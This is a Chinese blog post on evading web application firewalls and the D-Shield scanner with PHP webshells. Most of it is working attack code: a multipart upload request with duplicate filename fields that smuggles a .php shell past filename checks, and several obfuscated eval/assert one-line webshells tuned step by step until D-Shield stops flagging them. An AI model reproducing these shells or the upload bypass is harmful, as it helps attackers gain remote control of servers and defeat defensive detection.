sqlmap绕过d盾_WEBSHELL免杀绕过WAF思路&方法(一)

0bf1483de2a046deeeca73f06275d065.png

ae00d8ff9648442235a7b08e7f1b9f63.gif

本文主要介绍WEBSHELL免杀绕过的思路与方法,网上很多的方法基本都被安全厂家加入了检测规则已经不能免杀,所以我们要了解我们主要对手WAF的检测技术,故基于前人优秀基础上我们需要有能力衍生出免杀马,WEBSHELL免杀始终是持续对抗的过程,不可能永久免杀,但也是永远杀不完的。

0x00 WEBSHELL的概念:

能够接收攻击者的信息指令,并且执行攻击者的指令的程序脚本。 Webshell是运行目标服务器上,通过各种方式上传攻击者脚本至目标服务器,使得目标服务器成功解析脚本,从而达到攻击者控制目标服务器的结果。 由此我们可以想到Webshell的两个最基础的功能:

  1. 可以接收攻击者的指令
  2. 可以执行攻击者的指令 本次我们只讨论php下的webshell,其他语言欢迎交流 当然webshell还可以执行很多其他的功能,不过都是这两个基础功能的延伸。 比如最经典的webshell <?php eval('$_POST['pass']'); ?> 其中eval会将合法的字符串当成代码来执行,而$_POST['pass'] 则是接收攻击者的指令信息。 总体逻辑为:首先接收攻击者的信息指令,然后调用php中可以执行代码的函数进行执行。简单的webshell可以有很多种形式。,比如不同的接收参数形式,不同的执行函数等
<?php assert($_REQUEST['pass']); ?>
<?php eval($_GET['pass']); ?>
.....

0x01 WAF是什么

虽然上面的一句话木马简单易用,但是其中存在一个问题:意图太明显了。 如果对于毫无防备的服务器(没有任何waf等),那么你的webshell可以发挥作用,但是如果服务器上已经做了相应的防护措施,那么这么赤裸裸的webshell很容易被waf抓个正着。 所以我们需要伪装webshell,使其绕过waf的检测,但与此同时又保留原来的功能,也就是我们常说的免杀,过狗。 要绕过waf,首先我们得熟悉waf们的检测机制是怎么样的

  • 文件名后缀
    解析文件名,判断是否在黑名单内
  • 文件内容
    解析文件内容,判断是否为WEBSHELL
  • 文件目录权限
    该功能需要主机WAF实现,比如安全狗、云锁。

文件名后缀与文件内容只要有一方被判黑则会被拦截,要想真正Bypass WAF必须同时绕过文件名后缀检测及文件内容检测,当然绕过了WAF还要确保目标服务器可以正常解析,否则也是徒劳无功。

1.市面上常见WAF如长亭-雷池、Palo Alto、深信服AF都是会对文件名进行解析

大致步骤如下:

  • 获取Request Header里的Content-Type值中获取boundary值
  • 根据第一步的boundary值,解析POST数据,获取文件名
  • 判断文件名是否在拦截黑名单内

这里有一个绕过思路:扰乱WAF的判断点,且不能影响到目标服务器正常解析,如写两个filename,第一个filename=1.jpg,第二个filename=1.php,此时WAF只会取了第一个filename进行判断,而目标服务器取文件名是取的第二个存于服务器磁盘,原因在于以下数据包中有5条分割线,第二条与其他不一致导致被WEB容器忽略(当然不是所有的中间件都会这样)

POST /upfile.php HTTP/1.1
Host: x.x.x.x
User-Agent: Safari
Referer: http://x.x.x.x/upfile.html
Content-Type:	multipart/form-data; boundary=---------------------------666666666666666

-----------------------------666666666666666xxx
Content-disposiTion:form-data; filename=x.jpg; name=file
Content-Type: image/png

-----------------------------666666666666666
Content-disposiTion:form-data; filename=x.php; name=file
Content-Type: image/png

<?php eval($_GET['pass']); ?>
-----------------------------666666666666666
Content-Disposition: form-data; name="Submit"

Submit
-----------------------------666666666666666--

2.黑名单匹配检测 waf会有一个特征库,里面存着很多webshell的样例,同时waf会有一套禁用规则,会禁用那些比较危险,容易利用的函数关键字,对于webshell来说可能是eval,assert,base64_decode等,再而进行语法解析来判断是否为一个脚步语言,如长亭会看文件内容是否有;[]()_(这些符号都是PHP语言必备的语法符号)等符号的闭合,因为部署在网络中的WAF默认认为一切脚本类文件都是有害的,如(php、asp、http://asp.net、jsp、jspx等等)

3.机器学习检测 现在的waf好像还没有引入机器学习检测技术,由于学过机器学习并且有这方面的项目经验,从机器学习的角度上检测webshell的任务,可以看作为二分类任务,不过传统机器学习需要对数据进行特征工程后,才能将数据给予算法模型训练学习,而在处理webshell这种文本文件的问题上,大多数采用统计词频方法,而词指的也就是函数名,类名,变量名,特殊符号等。其实传统机器学习本质上还是围绕着函数关键字而展开的。 不过还是有一个领域叫做自然语言处理,专门处理语言文本的。当中有一个很有意思的技术,词嵌入技术。词嵌入技术可以将词与词之间的联系映射到数学空间上的向量之间的数学关系。不过我只在url这种小数据量上做过xss,sqli检测实验,成功率高达99%多。但是在处理文本这种比较大数据量的任务上,文本转化为词向量后的矩阵维度会非常高,而且我的分类器是CNN,数量大过于庞大导致难以进行训练,不过有条件的还是可以尝试一下的。 说了这么多无关的(机器学习的),现在waf等还都基于黑名单匹配检测,所以waf理论上来说都是可以绕过的。

以下Bypass WAF主要以文件内容Bypass与文件名(协议这块)Bypass两个方向来研究,当然还可以通过异常协议来绕过WAF检测,后面可能会写这方面的研究。

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用 可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a() ?> 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

关于assert函数

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。 当信息能够被其他方法捕获,使用断言可以让它更快更方便!

过D盾的核心思路:

1.利用生僻/不常见的执行函数,做安全产品的那帮人就喜欢做常见的检测,那我们就反其道而行之。

2.分离思想,使执行函数(eval、assert、system等等)与接收参数的函数($_POST、$_GET、$_COOKIE)进行分离,并让D盾无法跟踪到传参入口,如跟踪不到D盾则会认为eval与$_POST没有关联关系则认为是无害的。

3.破坏形体,根据一些语言自身特性,让D盾认不出来,但是在服务端可以成功执行。

0x02 定义类

利用PHP析构函数__destruct()无声无息的执行了assert

60828037c87b044b0b732429572f1a51.png
<?php 
class white{
  public $black = 'Hello World';
  function __destruct(){
    assert("$this->black");
  }
}
$b = new white;
$b->black = $_POST['pass'];

b1139f9053ae8895cc477228eb2f8ae3.png

public $black = 'Hello World'; 主要起到迷惑作用,最终执行的外部进行的实例调用的赋值$_POST['pass']

0x03 定义函数

方法一:

<?php
function black($white){
    if($white==='test'){
        return $_POST['pass'];
    }
    return $white;
}
black(eval(black('test')));

此时发现没能逃过D盾的五指山-.-,只报了一级一级很不错了,接着按照前面说的核心思想再改改就可过D盾

025bf60065cdf1ecac3e421ba93db57f.png
<?php
function black($white){
    if($white==='test'){
        return $_POST['pass'];
    }
    return $white;
}
black(eval(''.black('test')));

在black前面通过.拼接一个空字符串

2244bf0e633136443ead1d1e23dfbee5.png

方法二:

<?php
function white(){
    return $_POST['pass'];
}
eval(white());

这种方法确实没什么新意,还是被D盾报了2级

ea40a76c91c45f8275ea7ec934cb7ace.png

看我在稍稍改改就可绕过D盾,聪明的人应该已经看出改了哪里,没错,俺也不知道为什么,俺也不敢问

<?php
function white(){
    return ($_POST['pass']);
}
eval(white());

609a880cc8edc6fb909fe861aaa257b3.png

0x04 使用&变量执行eval

<?php
$white = "${eval($_POST['pass'])}";

3b61cc8c40869091019dc1eb8a577884.png

此马是从网上收集到的,现在已经不免杀了,但是通过PHP语言特性可以让此马再次免杀,在变量符号$前面加入一个括号,在Python语言中()表示元组,[]表示列表,{}表示字典

<?php
$white = "(${eval($_POST['pass'])})";

发现已经从4级变为一级低可疑了

2281e3361ac734513d5c2ba7b15f0988.png

换为[]依然是低可疑,改为{}免杀成功!

<?php
$white = "{${eval($_POST['pass'])}}";

b7df7d73e9b6ec20115c485dda374f44.png

持续更新...敬请期待

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值